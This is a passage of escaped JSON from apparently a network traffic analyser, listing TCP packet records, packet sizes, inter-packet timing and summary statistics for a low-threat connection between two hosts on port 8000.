\"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\", \"payload_size\": 1, \"payload_preview\": \"00\", \"payload_ascii\": \"\\u0000\"}, {\"packet_number\": 1304, \"timestamp\": 1782897349.923527, \"timestamp_iso\": \"2026-07-01T14:45:49.923527\", \"timestamp_human\": \"2026-07-01 14:45:49.923\", \"size\": 55, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"Raw\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"192.163.167.137\", \"ttl\": 128, \"ip_id\": 45602, \"ip_len\": 41, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 64118, \"dst_port\": 8000, \"tcp_seq\": 3063512982, \"tcp_ack\": 2959110023, \"tcp_window\": 8212, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\", \"payload_size\": 1, \"payload_preview\": \"00\", \"payload_ascii\": \"\\u0000\"}, {\"packet_number\": 1306, \"timestamp\": 1782897350.939201, \"timestamp_iso\": \"2026-07-01T14:45:50.939201\", \"timestamp_human\": \"2026-07-01 14:45:50.939\", \"size\": 55, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"Raw\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"192.163.167.137\", \"ttl\": 128, \"ip_id\": 45603, \"ip_len\": 41, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 64118, \"dst_port\": 8000, \"tcp_seq\": 3063512982, \"tcp_ack\": 2959110023, \"tcp_window\": 8212, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\", \"payload_size\": 1, \"payload_preview\": \"00\", \"payload_ascii\": \"\\u0000\"}, {\"packet_number\": 1308, \"timestamp\": 1782897351.954855, \"timestamp_iso\": \"2026-07-01T14:45:51.954855\", \"timestamp_human\": \"2026-07-01 14:45:51.954\", \"size\": 55, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"Raw\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"192.163.167.137\", \"ttl\": 128, \"ip_id\": 45604, \"ip_len\": 41, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 64118, \"dst_port\": 8000, \"tcp_seq\": 3063512982, \"tcp_ack\": 2959110023, \"tcp_window\": 8212, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\", \"payload_size\": 1, \"payload_preview\": \"00\", \"payload_ascii\": \"\\u0000\"}, {\"packet_number\": 1310, \"timestamp\": 1782897352.97046, \"timestamp_iso\": \"2026-07-01T14:45:52.970460\", \"timestamp_human\": \"2026-07-01 14:45:52.970\", \"size\": 55, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"Raw\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"192.163.167.137\", \"ttl\": 128, \"ip_id\": 45605, \"ip_len\": 41, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 64118, \"dst_port\": 8000, \"tcp_seq\": 3063512982, \"tcp_ack\": 2959110023, \"tcp_window\": 8212, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\", \"payload_size\": 1, \"payload_preview\": \"00\", \"payload_ascii\": \"\\u0000\"}, {\"packet_number\": 1312, \"timestamp\": 1782897353.986149, \"timestamp_iso\": \"2026-07-01T14:45:53.986149\", \"timestamp_human\": \"2026-07-01 14:45:53.986\", \"size\": 55, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"Raw\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"192.163.167.137\", \"ttl\": 128, \"ip_id\": 45606, \"ip_len\": 41, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 64118, \"dst_port\": 8000, \"tcp_seq\": 3063512982, \"tcp_ack\": 2959110023, \"tcp_window\": 8212, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\", \"payload_size\": 1, \"payload_preview\": \"00\", \"payload_ascii\": \"\\u0000\"}, {\"packet_number\": 1314, \"timestamp\": 1782897355.001768, \"timestamp_iso\": \"2026-07-01T14:45:55.001768\", \"timestamp_human\": \"2026-07-01 14:45:55.001\", \"size\": 55, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"Raw\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"192.163.167.137\", \"ttl\": 128, \"ip_id\": 45607, \"ip_len\": 41, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 64118, \"dst_port\": 8000, \"tcp_seq\": 3063512982, \"tcp_ack\": 2959110023, \"tcp_window\": 8212, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\", \"payload_size\": 1, \"payload_preview\": \"00\", \"payload_ascii\": \"\\u0000\"}], \"tcp_flags\": {\"SYN\": 11, \"ACK\": 646, \"PSH\": 45, \"FIN\": 10}, \"packet_sizes\": [66, 54, 217, 55, 55, 110, 55, 55, 55, 55, 55, 55, 55, 55, 55, 55, 55, 75, 75, 55, 55, 55, 55, 55, 55, 55, 55, 55, 55, 55, 55, 55, 55, 75, 55, 55, 55, 55, 55, 55, 55, 55, 75, 55, 55, 55, 55, 55, 75, 55, 55, 55, 55, 55, 55, 55, 55, 55, 55, 55, 55, 55, 55, 75, 54, 54, 66, 54, 215, 55, 55, 55, 55, 55, 55, 55, 55, 55, 55, 55, 55, 55, 55, 75, 55, 55, 55, 55, 55, 55, 55, 55, 55, 55, 55, 55, 55, 55, 75, 55, 55, 55, 55, 55, 55, 55, 55, 55, 55, 55, 55, 55, 55, 75, 55, 55, 55, 55, 55, 55, 55, 55, 55, 55, 55, 55, 55, 55, 54, 54, 66, 54, 215, 55, 55, 55, 55, 55, 55, 55, 55, 55, 55, 55, 55, 55, 55, 75, 55, 55, 55, 55, 55, 55, 55, 55, 55, 55, 55, 55, 55, 55, 75, 55, 55, 55, 55, 55, 55, 55, 55, 55, 55, 55, 55, 55, 55, 75, 55, 55, 55, 55, 55, 55, 55, 55, 55, 55, 55, 55, 55, 55, 54, 54, 66, 54, 215, 55, 55, 55, 55, 55, 55, 55, 55, 55, 55, 55, 55, 55, 55, 75, 55, 55, 55, 55, 55, 55, 55, 55, 55, 55, 55, 55, 55, 55, 75, 55, 55, 55, 55, 55, 55, 55, 55, 55, 55, 55, 55, 55, 55, 75, 55, 55, 55, 55, 55, 55, 55, 55, 55, 55, 55, 55, 55, 55, 54, 54, 66, 54, 215, 55, 55, 55, 55, 55, 55, 55, 55, 55, 55, 55, 55, 55, 55, 75, 55, 55, 55, 55, 55, 55, 55, 55, 55, 55, 55, 55, 55, 55, 75, 55, 55, 55, 55, 55, 55, 55, 55, 55, 55, 55, 55, 55, 55, 75, 55, 55, 55, 55, 55, 55, 55, 55, 55, 55, 55, 55, 55, 55, 54, 54, 66, 54, 215, 55, 55, 55, 55, 55, 55, 55, 55, 55, 55, 55, 55, 55, 55, 75, 55, 55, 55, 55, 55, 55, 55, 55, 55, 55, 55, 55, 55, 55, 75, 55, 55, 55, 55, 55, 55, 55, 55, 55, 55, 55, 55, 55, 55, 75, 55, 55, 55, 55, 55, 55, 55, 55, 55, 55, 55, 55, 55, 55, 54, 54, 66, 54, 215, 55, 55, 55, 55, 55, 55, 55, 55, 55, 55, 55, 55, 55, 55, 75, 55, 55, 55, 55, 55, 55, 55, 55, 55, 55, 55, 55, 55, 55, 75, 55, 55, 55, 55, 55, 55, 55, 55, 55, 55, 55, 55, 55, 55, 75, 55, 55, 55, 55, 55, 55, 55, 55, 55, 55, 55, 55, 55, 55, 54, 54, 66, 54, 215, 55, 55, 55, 55, 55, 55, 55, 55, 55, 55, 55, 55, 55, 55, 75, 55, 55, 55, 55, 55, 55, 55, 55, 55, 55, 55, 55, 55, 55, 75, 55, 55, 55, 55, 55, 55, 55, 55, 55, 55, 55, 55, 55, 55, 75, 55, 55, 55, 55, 55, 55, 55, 55, 55, 55, 55, 55, 55, 55, 54, 54, 66, 54, 215, 55, 55, 55, 55, 55, 55, 55, 55, 55, 55, 55, 55, 55, 55, 75, 55, 55, 55, 55, 55, 55, 55, 55, 55, 55, 55, 55, 55, 55, 75, 55, 55, 55, 55, 55, 55, 55, 55, 55, 55, 55, 55, 55, 55, 75, 55, 55, 55, 55, 55, 55, 55, 55, 55, 55, 55, 55, 55, 55, 54, 54, 66, 54, 215, 55, 55, 55, 55, 55, 55, 55, 55, 55, 55, 55, 55, 55, 55, 75, 55, 55, 55, 55, 55, 55, 55, 55, 55, 55, 55, 55, 55, 55, 75, 55, 55, 55, 55, 55, 55, 55, 55, 55, 55, 55, 55, 55, 55, 75, 55, 55, 55, 55, 55, 55, 55, 55, 55, 55, 55, 55, 55, 55, 54, 54, 66, 54, 215, 55, 55, 55, 55, 55, 55, 55, 55, 55, 55, 55, 55], \"inter_packet_intervals\": [0.0003108978271484375, 0.016572952270507812, 1.013517141342163, 1.0155339241027832, 0.9696080684661865, 1.0148389339447021, 1.0157320499420166, 1.0155830383300781, 1.0157909393310547, 1.015531063079834, 1.0157599449157715, 1.0156340599060059, 1.0156359672546387, 1.0156819820404053, 1.0156569480895996, 1.0156850814819336, 0.8612198829650879, 0.0010039806365966797, 1.0146281719207764, 1.0138108730316162, 1.015653133392334, 1.015678882598877, 1.0156171321868896, 1.0156798362731934, 1.0155980587005615, 1.0156729221343994, 1.0156221389770508, 1.0000560283660889, 1.0156779289245605, 1.0156068801879883, 1.0000181198120117, 1.0000839233398438, 0.8612561225891113, 1.0137720108032227, 1.0156538486480713, 1.015653133392334, 1.0156528949737549, 0.9999711513519287, 1.0156548023223877, 1.000068187713623, 1.015671968460083, 0.9235899448394775, 1.0140180587768555, 1.0156450271606445, 1.015697956085205, 0.9999668598175049, 1.0000600814819336, 0.9860670566558838, 1.0139658451080322, 1.0157229900360107, 1.015639066696167, 1.0156550407409668, 1.0156199932098389, 1.015674114227295, 1.0156629085540771, 1.0156550407409668, 1.0156350135803223, 1.0000629425048828, 1.015570878982544, 1.0156280994415283, 1.0000159740447998, 1.0000579357147217, 0.87900710105896, 0.08843803405761719, 0.0005409717559814453, 4.019171953201294, 0.0003349781036376953, 0.015558958053588867, 1.0128660202026367, 1.0155131816864014, 1.0156807899475098, 1.0002260208129883, 1.015425205230713, 0.9999868869781494, 1.0157051086425781, 1.0156478881835938, 1.015660047531128, 1.015665054321289, 1.000147819519043, 1.0155761241912842, 1.0156350135803223, 1.0156359672546387, 0.8606798648834229, 1.0143561363220215, 1.0157279968261719, 1.0155620574951172, 1.0156550407409668, 1.0001039505004883, 1.0156240463256836, 1.015622854232788, 1.0001270771026611, 1.0000419616699219, 1.0156359672546387, 1.0156760215759277, 1.0155479907989502, 1.015726089477539, 1.0156028270721436, 0.860969066619873, 1.014117956161499, 1.0157310962677002, 1.0155260562896729, 1.0156559944152832, 1.015631914138794, 1.0000379085540771, 1.0000450611114502, 1.0156569480895996, 1.015672206878662, 1.0156419277191162, 1.0001990795135498, 1.0156137943267822, 1.0155160427093506, 1.0156769752502441, 0.8456859588623047, 1.013672113418579, 1.000096082687378, 0.9999568462371826, 1.0000059604644775, 1.0156960487365723, 1.01568603515625, 1.0156540870666504, 1.0156409740447998, 1.0157389640808105, 1.0155560970306396, 1.0156779289245605, 1.0156629085540771, 1.0158960819244385, 1.0154609680175781, 0.7306089401245117, 0.0007300376892089844, 4.021475076675415, 0.00031685829162597656, 0.014060020446777344, 1.014167070388794, 1.0156669616699219, 1.0000360012054443, 1.0156099796295166, 1.015650987625122, 1.0156641006469727, 1.000011920928955, 1.0156900882720947, 1.0155830383300781, 1.0000979900360107, 0.99993896484375, 1.0000669956207275, 1.0155949592590332, 1.0156359672546387, 0.9239790439605713, 1.013646125793457, 1.0155749320983887, 1.0001318454742432, 1.0157091617584229, 1.015467882156372, 1.015625, 1.0156841278076172, 1.0156099796295166, 1.015753984451294, 1.0156590938568115, 1.0155248641967773, 1.0156409740447998, 1.0156919956207275, 1.0155889987945557, 0.8298239707946777, 1.0140831470489502, 1.015561819076538, 0.9999802112579346, 1.0000779628753662, 1.0156290531158447, 1.0156128406524658, 1.0157079696655273, 1.0157361030578613, 1.0156159400939941, 1.0155889987945557, 1.0000829696655273, 1.015550136566162, 1.0156309604644775, 1.0001699924468994, 0.8766529560089111, 1.0140130519866943, 1.0154900550842285, 1.0002119541168213, 1.0156359672546387, 1.0154600143432617, 1.0156688690185547, 1.0156960487365723, 1.0001280307769775, 1.0155041217803955, 0.999971866607666, 1.0000779628753662, 1.0156800746917725, 1.0156569480895996, 1.015606164932251, 0.7004039287567139, 0.0004558563232421875, 4.0207459926605225, 0.00032520294189453125, 0.014283895492553711, 1.0138390064239502, 1.0000479221343994, 0.9999921321868896, 1.0000689029693604, 1.0156619548797607, 1.0155651569366455, 1.0157859325408936, 1.0155720710754395, 1.0157248973846436, 1.0155210494995117, 1.0156419277191162, 1.015692949295044, 0.999946117401123, 1.0001749992370605, 0.9101009368896484, 1.0116939544677734, 1.0036070346832275, 1.0158369541168213, 1.015449047088623, 1.0157489776611328, 1.0155529975891113, 1.0006301403045654, 1.0156359672546387, 1.0000200271606445, 1.015552043914795, 1.0156269073486328, 1.0156500339508057, 1.0157129764556885, 1.015625, 0.8453540802001953, 1.029667854309082, 1.0156471729278564, 1.0000319480895996, 1.0156378746032715, 1.0156121253967285, 1.0157270431518555, 1.015638828277588, 1.015611171722412, 1.0156478881835938, 1.0000369548797607, 1.0000159740447998, 1.0156450271606445, 1.015627145767212, 1.0156598091125488, 0.8613810539245605, 1.0136089324951172, 1.0157082080841064, 1.0156209468841553, 1.0156619548797607, 1.015636920928955, 1.0156071186065674, 1.0156779289245605, 1.01568603515625, 1.0000081062316895, 1.0007359981536865, 1.0148868560791016, 1.0157499313354492, 0.9999561309814453, 1.0156340599060059, 0.7073369026184082, 0.0008070468902587891, 4.029800891876221, 0.0003170967102050781, 0.015629053115844727, 1.0118799209594727, 1.0159740447998047, 1.015320062637329, 1.0156219005584717, 1.031275987625122, 1.0156350135803223, 1.0157098770141602, 1.0156161785125732, 1.0156049728393555, 1.0156638622283936, 1.0156681537628174, 1.0156638622283936, 1.0000121593475342, 1.01566481590271, 0.8144290447235107, 1.0136921405792236, 1.0000348091125488, 1.0156610012054443, 1.015613079071045, 1.0000510215759277, 1.0000510215759277, 1.015625, 1.015639066696167, 1.0156350135803223, 1.015699863433838, 1.015692949295044, 1.015578031539917, 1.0156431198120117, 1.0156428813934326, 0.8766460418701172, 1.0139529705047607, 1.0157220363616943, 1.0156559944152832, 1.015636920928955, 1.0156030654907227, 1.0156991481781006, 1.0156559944152832, 1.0156338214874268, 1.0156669616699219, 1.003047227859497, 1.0282127857208252, 1.0000100135803223, 1.0156221389770508, 1.015671968460083, 0.860943078994751, 1.014124870300293, 1.0156550407409668, 1.0156190395355225, 1.0156638622283936, 1.0156261920928955, 1.0156638622283936, 1.0, 1.0156490802764893, 1.0156729221343994, 1.0156331062316895, 1.0156488418579102, 1.015639066696167, 1.0156419277191162, 1.0156409740447998, 0.6197671890258789, 9.5367431640625e-07, 4.024617910385132, 0.00033402442932128906, 0.013829946517944336, 1.0134711265563965, 1.0156769752502441, 1.0155680179595947, 1.015704870223999, 1.015645980834961, 1.0000360012054443, 1.0156261920928955, 1.015690803527832, 1.0156171321868896, 1.0156900882720947, 1.0156378746032715, 0.9999899864196777, 1.0156519412994385, 1.0156400203704834, 0.8768231868743896, 1.0138628482818604, 1.0156121253967285, 1.0156278610229492, 1.0156819820404053, 1.0156421661376953, 1.0156137943267822, 1.0156750679016113, 1.0156450271606445, 1.0156819820404053, 1.015639066696167, 1.0156099796295166, 1.0157110691070557, 1.0156059265136719, 1.0156900882720947, 0.830265998840332, 1.0135037899017334, 1.0156400203704834, 1.0156090259552002, 1.0000619888305664, 1.0000419616699219, 1.000007152557373, 1.0156750679016113, 1.0155689716339111, 1.0157098770141602, 1.0156431198120117, 1.0156328678131104, 1.0156409740447998, 1.000040054321289, 1.0156431198120117, 0.8767929077148438, 1.0138509273529053, 1.0000381469726562, 1.0000529289245605, 1.0000181198120117, 0.9999949932098389, 1.0000038146972656, 1.0156919956207275, 1.015632152557373, 1.0156688690185547, 1.0156700611114502, 1.0156700611114502, 1.0156519412994385, 1.0155529975891113, 1.015700101852417, 0.7025809288024902, 0.0005309581756591797, 4.034151077270508, 0.00031495094299316406, 0.015120983123779297, 1.0130610466003418, 1.0156159400939941, 1.0156850814819336, 1.015617847442627, 1.0156669616699219, 1.0000262260437012, 1.0156118869781494, 1.0156569480895996, 1.015650987625122, 1.015650987625122, 1.0000360012054443, 1.0000090599060059, 1.0156550407409668, 1.0156400203704834, 0.8919188976287842, 1.014388084411621, 1.015631914138794, 1.015653133392334, 1.015625, 1.0156819820404053, 1.0156340599060059, 1.0156359672546387, 1.0156810283660889, 1.015582799911499, 1.0000770092010498, 1.0156691074371338, 1.0156340599060059, 1.01566481590271, 1.000025987625122, 0.8609452247619629, 1.0140719413757324, 1.0157208442687988, 0.9999761581420898, 1.015596866607666, 1.015707015991211, 1.0156230926513672, 1.0156059265136719, 1.0000979900360107, 1.0000150203704834, 1.0155930519104004, 1.0157198905944824, 1.0155789852142334, 1.015639066696167, 1.0156700611114502, 0.8617649078369141, 1.0132200717926025, 1.0157129764556885, 1.01556396484375, 1.0157511234283447, 1.0156359672546387, 1.0156378746032715, 1.0156590938568115, 1.0157320499420166, 0.9999608993530273, 1.0000109672546387, 1.0000050067901611, 1.0156750679016113, 1.0156059265136719, 1.0156621932983398, 0.6550719738006592, 0.0006878376007080078, 4.01736307144165, 0.00030303001403808594, 0.012872934341430664, 1.0013720989227295, 1.0156219005584717, 1.01568603515625, 1.0156199932098389, 1.0000360012054443, 1.0156331062316895, 1.0156409740447998, 1.000067949295044, 1.0169219970703125, 1.0027740001678467, 1.0028140544891357, 1.0027778148651123, 1.002824068069458, 1.0027949810028076, 0.9201021194458008, 1.0008559226989746, 1.0028109550476074, 1.0028231143951416, 1.0144410133361816, 1.0156400203704834, 1.0156538486480713, 1.0000410079956055, 1.0000109672546387, 1.0156450271606445, 1.0000090599060059, 1.000040054321289, 0.9999978542327881, 1.0156340599060059, 1.0156910419464111, 0.9547939300537109, 1.01397705078125, 1.0156559944152832, 1.0156619548797607, 1.0000340938568115, 1.0000078678131104, 1.000063180923462, 1.0156328678131104, 0.9999799728393555, 1.015671968460083, 1.0156490802764893, 1.0156710147857666, 1.0156481266021729, 1.0156338214874268, 1.0156641006469727, 0.8770289421081543, 1.013646125793457, 1.0156238079071045, 1.0156781673431396, 0.9999959468841553, 1.0000190734863281, 1.0156888961791992, 1.0156331062316895, 1.015625, 1.0000369548797607, 1.000032901763916, 1.000035047531128, 0.9999799728393555, 1.0000519752502441, 1.0000109672546387, 0.7921571731567383, 0.0006148815155029297, 4.022464990615845, 0.0003161430358886719, 0.014693975448608398, 1.0136048793792725, 1.015671968460083, 1.0156421661376953, 1.0000958442687988, 1.0155911445617676, 1.0155808925628662, 1.0157480239868164, 1.0156099796295166, 1.0156900882720947, 1.015561819076538, 1.0156822204589844, 1.000196933746338, 1.015557050704956, 1.0000150203704834, 0.8922629356384277, 1.0139129161834717, 1.0157599449157715, 1.0155341625213623, 1.0000689029693604, 1.015674114227295, 1.0156710147857666, 1.0155959129333496, 1.0156729221343994, 0.9999771118164062, 1.0157349109649658, 1.0000150203704834, 1.0155999660491943, 1.0156409740447998, 1.0000770092010498, 0.8928830623626709, 1.0133941173553467, 1.015704870223999, 1.0156400203704834, 1.015636920928955, 1.0156030654907227, 1.015631914138794, 1.015740156173706, 1.0155539512634277, 1.0157530307769775, 1.0155360698699951, 1.0156559944152832, 1.015645980834961, 1.0000438690185547, 1.0000760555267334, 0.8453240394592285, 1.0141160488128662, 1.0155940055847168, 1.0000078678131104, 1.0156409740447998, 1.0156910419464111, 1.0157420635223389, 1.0156669616699219, 1.0155088901519775, 1.0156960487365723, 1.015589952468872, 1.0156970024108887, 1.0000410079956055, 1.0156440734863281, 0.999953031539917, 0.6533639430999756, 0.0004680156707763672, 4.020765066146851, 0.0002949237823486328, 0.014608144760131836, 1.0138649940490723, 1.0157279968261719, 1.0155248641967773, 1.0157289505004883, 1.015625, 1.0156731605529785, 1.0155878067016602, 1.0000641345977783, 1.0156140327453613, 1.0157699584960938, 0.9999070167541504, 1.0156638622283936, 1.0157032012939453, 0.9999480247497559, 0.8610489368438721, 1.0140190124511719, 1.0156300067901611, 1.0000839233398438, 1.0156049728393555, 1.0155680179595947, 1.0156950950622559, 1.015650987625122, 1.00006103515625, 1.0000178813934326, 1.0157220363616943, 1.0155510902404785, 1.0156769752502441, 1.0156199932098389, 1.0156869888305664, 0.9084279537200928, 1.013477087020874, 1.0156409740447998, 1.0000598430633545, 1.0156331062316895, 1.0002100467681885, 1.015455961227417, 1.0000419616699219, 1.0000290870666504, 1.0001280307769775, 1.0000009536743164, 1.0155608654022217, 1.0156340599060059, 1.0156691074371338, 1.0156309604644775, 0.9084219932556152, 1.0135118961334229, 1.0001659393310547, 1.015519142150879, 1.0156440734863281, 1.0156610012054443, 1.0156488418579102, 1.0156450271606445, 1.0156450271606445, 1.0157530307769775, 1.0156400203704834, 1.0155880451202393, 1.000032901763916, 1.0156559944152832, 1.0002820491790771, 0.6932480335235596, 0.0005400180816650391, 4.027212858200073, 0.0003039836883544922, 0.01493215560913086, 1.0135688781738281, 1.0157139301300049, 1.0156030654907227, 1.015707015991211, 1.0156569480895996, 1.000028133392334, 0.999985933303833, 1.015674114227295, 1.0156538486480713, 1.0156049728393555, 1.0156891345977783, 1.0156190395355225], \"connection_type\": \"TCP Connection\", \"threat_level\": \"low\", \"duration\": 652.6467740535736, \"avg_packet_size\": 58.90715372907154, \"packets_per_second\": 1.0066701102640692, \"bytes_per_second\": 59.30007093978692, \"min_packet_size\": 54, \"max_packet_size\": 217, \"median_packet_size\": 55, \"avg_interval\": 0.994888375081667, \"min_interval\": 9.5367431640625e-07, \"max_interval\": 4.034151077270508}, {\"source\": \"192.163.167.137\", \"target\": \"10.152.152.11\", \"packet_count\": 646, \"total_bytes\": 41856, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ports\": [8000], \"dst_ports\": [64032, 64073, 64078, 64084, 64089, 64095, 64101, 64106, 64111, 64117, 64118], \"first_packet\": 1782896702.35502, \"last_packet\": 1782897355.001784, \"packets\": [{\"packet_number\": 1216, \"timestamp\": 1782897304.953648, \"timestamp_iso\": \"2026-07-01T14:45:04.953648\", \"timestamp_human\": \"2026-07-01 14:45:04.953\", \"size\": 66, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"192.163.167.137\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 45100, \"ip_len\": 52, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 8000, \"dst_port\": 64117, \"tcp_seq\": 958171291, \"tcp_ack\": 132548632, \"tcp_window\": 63, \"tcp_dataofs\": 8, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 1218, \"timestamp\": 1782897305.969328, \"timestamp_iso\": \"2026-07-01T14:45:05.969328\", \"timestamp_human\": \"2026-07-01 14:45:05.969\", \"size\": 66, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"192.163.167.137\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 45101, \"ip_len\": 52, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 8000, \"dst_port\": 64117, \"tcp_seq\": 958171291, \"tcp_ack\": 132548632, \"tcp_window\": 63, \"tcp_dataofs\": 8, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 1220, \"timestamp\": 1782897306.984954, \"timestamp_iso\": \"2026-07-01T14:45:06.984954\", \"timestamp_human\": \"2026-07-01 14:45:06.984\", \"size\": 66, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"192.163.167.137\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 45102, \"ip_len\": 52, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 8000, \"dst_port\": 64117, \"tcp_seq\": 958171291, \"tcp_ack\": 132548632, \"tcp_window\": 63, \"tcp_dataofs\": 8, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 1222, \"timestamp\": 1782897308.000642, \"timestamp_iso\": \"2026-07-01T14:45:08.000642\", \"timestamp_human\": \"2026-07-01 14:45:08.000\", \"size\": 66, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"192.163.167.137\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 45103, \"ip_len\": 52, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 8000, \"dst_port\": 64117, \"tcp_seq\": 958171291, \"tcp_ack\": 132548632, \"tcp_window\": 63, \"tcp_dataofs\": 8, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 1224, \"timestamp\": 1782897308.909079, \"timestamp_iso\": \"2026-07-01T14:45:08.909079\", \"timestamp_human\": \"2026-07-01 14:45:08.909\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"192.163.167.137\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 45104, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 8000, \"dst_port\": 64117, \"tcp_seq\": 958171291, \"tcp_ack\": 132548653, \"tcp_window\": 63, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 1226, \"timestamp\": 1782897309.922549, \"timestamp_iso\": \"2026-07-01T14:45:09.922549\", \"timestamp_human\": \"2026-07-01 14:45:09.922\", \"size\": 66, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"192.163.167.137\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 45105, \"ip_len\": 52, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 8000, \"dst_port\": 64117, \"tcp_seq\": 958171291, \"tcp_ack\": 132548653, \"tcp_window\": 63, \"tcp_dataofs\": 8, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 1228, \"timestamp\": 1782897310.938189, \"timestamp_iso\": \"2026-07-01T14:45:10.938189\", \"timestamp_human\": \"2026-07-01 14:45:10.938\", \"size\": 66, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"192.163.167.137\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 45106, \"ip_len\": 52, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 8000, \"dst_port\": 64117, \"tcp_seq\": 958171291, \"tcp_ack\": 132548653, \"tcp_window\": 63, \"tcp_dataofs\": 8, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 1230, \"timestamp\": 1782897311.938251, \"timestamp_iso\": \"2026-07-01T14:45:11.938251\", \"timestamp_human\": \"2026-07-01 14:45:11.938\", \"size\": 66, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"192.163.167.137\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 45107, \"ip_len\": 52, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 8000, \"dst_port\": 64117, 